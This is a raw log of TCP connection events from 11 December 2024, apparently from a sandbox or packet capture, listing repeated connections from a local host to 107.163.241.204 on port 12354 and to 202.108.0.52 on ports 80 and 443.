Dec 11, 2024 16:25:18.718311071 CET	51633	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:18.718319893 CET	443	51633	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:18.719916105 CET	51633	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:18.719919920 CET	443	51633	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:19.111372948 CET	51633	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:19.111413002 CET	51656	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.111430883 CET	51647	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.112540960 CET	51746	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.225455999 CET	51754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.227401018 CET	51528	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:19.227685928 CET	51755	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:19.232053041 CET	12354	51746	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:19.232130051 CET	51746	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.232347965 CET	51746	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.345704079 CET	12354	51754	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:19.346348047 CET	51754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.346980095 CET	80	51755	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:19.347062111 CET	51755	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:19.347367048 CET	80	51528	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:19.347421885 CET	51528	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:19.350450039 CET	51754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:19.350764990 CET	51755	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:19.353471041 CET	12354	51746	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:19.470133066 CET	12354	51754	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:19.470200062 CET	80	51755	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:20.919367075 CET	80	51755	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:20.919423103 CET	51755	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:20.921947956 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:20.921998978 CET	443	51858	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:20.922138929 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:20.922388077 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:20.922400951 CET	443	51858	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:21.344696045 CET	12354	51746	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.344835043 CET	51746	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.344938993 CET	51746	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.345361948 CET	51887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.458986044 CET	12354	51754	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.459218025 CET	51754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.464890003 CET	12354	51746	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.465322018 CET	12354	51887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.465435982 CET	51887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.481817007 CET	51754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.482290983 CET	51887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.485495090 CET	51895	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.601311922 CET	12354	51754	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.601526976 CET	12354	51887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.604844093 CET	12354	51895	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:21.604912043 CET	51895	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.605012894 CET	51895	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:21.724299908 CET	12354	51895	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:22.711103916 CET	443	51858	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:22.711157084 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:22.712044001 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:22.712054014 CET	443	51858	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:22.715029955 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:22.715039968 CET	443	51858	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:23.130264044 CET	51895	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.130347013 CET	51887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.130367994 CET	51858	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:23.131192923 CET	53096	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.247801065 CET	53196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.250492096 CET	12354	53096	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:23.250576019 CET	53096	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.250932932 CET	53096	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.255484104 CET	51755	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:23.255857944 CET	53200	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:23.370141983 CET	12354	53196	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:23.370259047 CET	53196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.370752096 CET	53196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:23.373044014 CET	12354	53096	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:23.378046036 CET	80	53200	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:23.378128052 CET	53200	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:23.378680944 CET	53200	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:23.394395113 CET	80	51755	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:23.394484043 CET	51755	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:23.496958017 CET	12354	53196	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:23.504781008 CET	80	53200	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:25.004707098 CET	80	53200	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:25.009830952 CET	53200	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:25.012660027 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:25.012743950 CET	443	54674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:25.017141104 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:25.017141104 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:25.017222881 CET	443	54674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:25.398094893 CET	12354	53096	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.398283005 CET	53096	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.398283005 CET	53096	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.398709059 CET	55196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.488038063 CET	12354	53196	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.488125086 CET	53196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.488940001 CET	53196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.518548965 CET	12354	53096	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.518920898 CET	12354	55196	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.519076109 CET	55196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.520596981 CET	55196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.523354053 CET	55373	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.608158112 CET	12354	53196	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.640204906 CET	12354	55196	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.642803907 CET	12354	55373	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:25.642895937 CET	55373	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.643363953 CET	55373	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:25.762756109 CET	12354	55373	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:26.721656084 CET	443	54674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:26.721761942 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:26.728602886 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:26.728615999 CET	443	54674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:26.731441021 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:26.731446981 CET	443	54674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:27.142945051 CET	55373	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.143238068 CET	54674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:27.143418074 CET	55196	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.144385099 CET	56825	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.262085915 CET	56943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.263801098 CET	12354	56825	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:27.264153957 CET	56825	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.264153957 CET	56825	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.264482021 CET	53200	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:27.264921904 CET	56944	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:27.381675959 CET	12354	56943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:27.381884098 CET	56943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.383249998 CET	56943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:27.383620024 CET	12354	56825	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:27.384413958 CET	80	56944	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:27.384603024 CET	56944	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:27.386986017 CET	56944	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:27.393755913 CET	80	53200	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:27.394867897 CET	53200	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:27.503089905 CET	12354	56943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:27.506311893 CET	80	56944	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:28.957947016 CET	80	56944	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:28.958074093 CET	56944	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:28.960949898 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:28.960988045 CET	443	57802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:28.961709976 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:28.962205887 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:28.962223053 CET	443	57802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:29.394120932 CET	12354	56825	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.394582033 CET	56825	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.394582033 CET	56825	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.395044088 CET	58262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.501780987 CET	12354	56943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.502141953 CET	56943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.506093979 CET	56943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.510656118 CET	58391	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.516562939 CET	12354	56825	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.516832113 CET	12354	58262	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.517155886 CET	58262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.517155886 CET	58262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.632164955 CET	12354	56943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.636655092 CET	12354	58391	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.637147903 CET	58391	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.637411118 CET	58391	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:29.642865896 CET	12354	58262	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:29.759144068 CET	12354	58391	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:30.835537910 CET	443	57802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:30.835588932 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:30.836191893 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:30.836199045 CET	443	57802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:30.837748051 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:30.837754011 CET	443	57802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:31.157999992 CET	57802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:31.157999992 CET	58262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.158119917 CET	58391	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.158940077 CET	59886	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.270973921 CET	56944	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:31.270973921 CET	60100	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:31.284280062 CET	12354	59886	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:31.284404993 CET	59886	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.284693956 CET	59886	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.333179951 CET	60187	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.395220041 CET	80	60100	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:31.395339966 CET	60100	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:31.395745993 CET	80	56944	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:31.396105051 CET	56944	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:31.400567055 CET	60100	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:31.409037113 CET	12354	59886	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:31.459362030 CET	12354	60187	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:31.459542990 CET	60187	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.459821939 CET	60187	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:31.525875092 CET	80	60100	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:31.578996897 CET	12354	60187	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:32.985845089 CET	80	60100	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:32.986227036 CET	60100	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:32.990876913 CET	61721	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:32.990926027 CET	443	61721	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:32.991106987 CET	61721	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:32.991369009 CET	61721	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:32.991381884 CET	443	61721	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:33.408698082 CET	12354	59886	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.409008026 CET	59886	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.409286022 CET	59886	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.410274029 CET	62140	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.531379938 CET	12354	59886	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.531394958 CET	12354	62140	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.531873941 CET	62140	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.532506943 CET	62140	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.581934929 CET	12354	60187	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.582160950 CET	60187	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.582469940 CET	60187	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.582803011 CET	62324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.652129889 CET	12354	62140	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.702605009 CET	12354	60187	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.702642918 CET	12354	62324	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:33.702828884 CET	62324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.703341961 CET	62324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:33.827429056 CET	12354	62324	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:35.161246061 CET	61721	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:35.161257029 CET	62140	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.161334038 CET	62324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.162256002 CET	63850	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.275065899 CET	60100	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:35.275553942 CET	63952	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:35.280621052 CET	63953	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.283015013 CET	12354	63850	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:35.283122063 CET	63850	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.283638954 CET	63850	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.396377087 CET	80	63952	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:35.398458958 CET	80	60100	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:35.398595095 CET	60100	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:35.398607016 CET	63952	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:35.399096012 CET	63952	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:35.403211117 CET	12354	63953	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:35.403520107 CET	63953	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.403767109 CET	63953	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:35.407799006 CET	12354	63850	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:35.519334078 CET	80	63952	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:35.524197102 CET	12354	63953	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:36.966459036 CET	80	63952	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:36.966819048 CET	63952	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:36.972616911 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:36.972670078 CET	443	65319	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:36.976933002 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:36.977510929 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:36.977528095 CET	443	65319	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:37.393580914 CET	12354	63850	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.393781900 CET	63850	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.394385099 CET	63850	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.394715071 CET	49408	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.515417099 CET	12354	63850	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.515433073 CET	12354	49408	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.515613079 CET	49408	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.516697884 CET	49408	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.527456045 CET	12354	63953	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.527729988 CET	63953	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.528090954 CET	63953	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.528425932 CET	49568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.636316061 CET	12354	49408	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.648488045 CET	12354	63953	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.648505926 CET	12354	49568	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:37.648798943 CET	49568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.649025917 CET	49568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:37.768963099 CET	12354	49568	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:38.670273066 CET	443	65319	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:38.670365095 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.671053886 CET	443	65319	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:38.671139002 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.674634933 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.674683094 CET	443	65319	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:38.674746037 CET	65319	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.786844969 CET	63952	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.787170887 CET	50337	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.906445980 CET	80	50337	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:38.906595945 CET	80	63952	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:38.906649113 CET	50337	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.906825066 CET	63952	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:38.908620119 CET	50337	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:39.027977943 CET	80	50337	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:39.174336910 CET	50337	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:39.174379110 CET	49568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.174381971 CET	49408	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.175337076 CET	50887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.293442011 CET	50977	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:39.294007063 CET	50978	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.295243979 CET	12354	50887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:39.295558929 CET	50887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.296591043 CET	50887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.412981033 CET	80	50977	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:39.413233042 CET	50977	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:39.413561106 CET	12354	50978	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:39.413691998 CET	50978	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.413924932 CET	50977	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:39.413924932 CET	50978	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:39.416431904 CET	12354	50887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:39.533435106 CET	80	50977	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:39.533457041 CET	12354	50978	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:40.981899977 CET	80	50977	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:40.982007027 CET	50977	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:40.984805107 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:40.984834909 CET	443	51928	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:40.984895945 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:40.985287905 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:40.985296965 CET	443	51928	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:41.422302961 CET	12354	50887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.422539949 CET	50887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.424176931 CET	50887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.424176931 CET	52262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.516763926 CET	12354	50978	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.516828060 CET	50978	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.517661095 CET	50978	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.537235022 CET	52324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.543514013 CET	12354	50887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.543545961 CET	12354	52262	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.543620110 CET	52262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.544770002 CET	52262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.636955023 CET	12354	50978	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.656691074 CET	12354	52324	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.656769037 CET	52324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.657172918 CET	52324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:41.664084911 CET	12354	52262	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:41.777826071 CET	12354	52324	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:42.677685022 CET	443	51928	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:42.677798986 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.678462029 CET	443	51928	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:42.678524017 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.710684061 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.710915089 CET	443	51928	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:42.710994005 CET	51928	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.875356913 CET	50977	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.875881910 CET	53380	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.998265982 CET	80	50977	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:42.998348951 CET	50977	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:42.999073982 CET	80	53380	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:42.999151945 CET	53380	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:43.011276007 CET	53380	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:43.135679007 CET	80	53380	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:43.390201092 CET	53380	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:43.390315056 CET	52262	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.390350103 CET	52324	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.479990959 CET	53384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.573168993 CET	53421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.573630095 CET	53422	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:43.599463940 CET	12354	53384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:43.599554062 CET	53384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.600306034 CET	53384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.692702055 CET	12354	53421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:43.692783117 CET	53421	12354	192.168.2.9	107.163.241.204
